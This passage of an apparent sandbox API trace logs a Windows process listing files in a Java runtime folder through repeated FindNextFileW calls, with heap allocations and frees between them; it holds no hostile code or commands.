nFileSizeLow=0x4da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaas_nt.dll", cAlternateFileName="")) returned 1 [0088.006] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.007] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.007] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.008] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.008] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xbba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jabswitch.exe", cAlternateFileName="")) returned 1 [0088.008] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.008] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.008] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.008] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.008] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.009] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.009] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="java-rmi.exe", cAlternateFileName="")) returned 1 [0088.009] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.009] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.009] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.010] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.010] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.010] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.010] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1d5a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.dll", cAlternateFileName="")) returned 1 [0088.010] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.011] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.011] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.011] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.011] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.012] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.012] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2a9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.exe", cAlternateFileName="")) returned 1 [0088.012] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.012] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.012] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.013] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.013] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.013] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.013] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1e7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="JavaAccessBridge-32.dll", cAlternateFileName="")) returned 1 [0088.013] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.014] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.014] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.014] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.014] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.014] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.014] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x105a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="javacpl.exe", cAlternateFileName="")) returned 1 [0088.015] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.015] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.015] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.015] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.015] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.016] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.016] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3b3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx-font.dll", cAlternateFileName="")) returned 1 [0088.016] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.016] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.016] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.017] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.017] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.017] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.017] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2dfa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx-iio.dll", cAlternateFileName="")) returned 1 [0088.017] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.018] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.018] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.018] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.018] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.019] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.019] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2aba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaw.exe", cAlternateFileName="")) returned 1 [0088.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.019] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.020] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.020] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.020] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.020] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x409a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.exe", cAlternateFileName="")) returned 1 [0088.020] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.021] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.021] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.021] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.021] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.022] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.022] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x5da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="java_crw_demo.dll", cAlternateFileName="")) returned 1 [0088.022] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.022] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.022] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.023] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.023] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.023] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.023] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x37a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jawt.dll", cAlternateFileName="")) returned 1 [0088.023] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.024] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.024] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.024] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.024] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.024] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.024] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="JAWTAccessBridge-32.dll", cAlternateFileName="")) returned 1 [0088.025] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.025] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.025] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.025] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.025] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.026] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.026] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="JdbcOdbc.dll", cAlternateFileName="")) returned 1 [0088.026] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.026] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.026] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.027] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.027] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.027] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.027] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x283a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jdwp.dll", cAlternateFileName="")) returned 1 [0088.027] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.028] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.028] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.028] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.028] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.029] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.029] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.dll", cAlternateFileName="")) returned 1 [0088.029] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.029] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.029] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.030] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.030] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.030] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.030] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1afa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxmedia.dll", cAlternateFileName="")) returned 1 [0088.030] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.030] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.031] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.031] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.031] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.031] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.031] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb579a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxwebkit.dll", cAlternateFileName="")) returned 1 [0088.031] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.032] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.032] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.032] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.032] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.033] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.033] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x22da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jli.dll", cAlternateFileName="")) returned 1 [0088.033] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.033] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.033] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.034] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.034] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.034] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.034] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x313a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2iexp.dll", cAlternateFileName="")) returned 1 [0088.034] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.035] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.035] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.035] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.035] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.036] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.036] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xcda8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2launcher.exe", cAlternateFileName="")) returned 1 [0088.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.036] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.037] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.037] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.037] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.037] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2native.dll", cAlternateFileName="")) returned 1 [0088.037] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.038] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.038] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.039] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.039] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x29fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2ssv.dll", cAlternateFileName="")) returned 1 [0088.039] RtlAllocateHeap 